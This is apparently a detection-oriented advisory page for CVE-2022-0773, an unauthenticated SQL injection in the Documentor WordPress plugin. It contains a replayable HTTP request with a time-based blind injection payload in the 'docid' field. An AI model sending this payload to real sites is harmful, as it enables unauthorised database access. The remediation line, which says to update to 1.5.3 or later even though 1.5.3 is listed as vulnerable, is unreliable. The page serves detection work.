🔙 목록으로 돌아가기

CVE-2022-0773: Documentor <= 1.5.3 - Unauthenticated SQL Injection

TitleDocumentor <= 1.5.3 - Unauthenticated SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpdate to Documentor version 1.5.3 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.75514
CVE IDCVE-2022-0773
CWE IDCWE-89
Tags time-based-sqli cve2022 cve unauth sqli wp-plugin wp documentor-lite wpscan wordpress documentor_project vuln

🔍 Vulnerability Description

The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0773.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0773.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A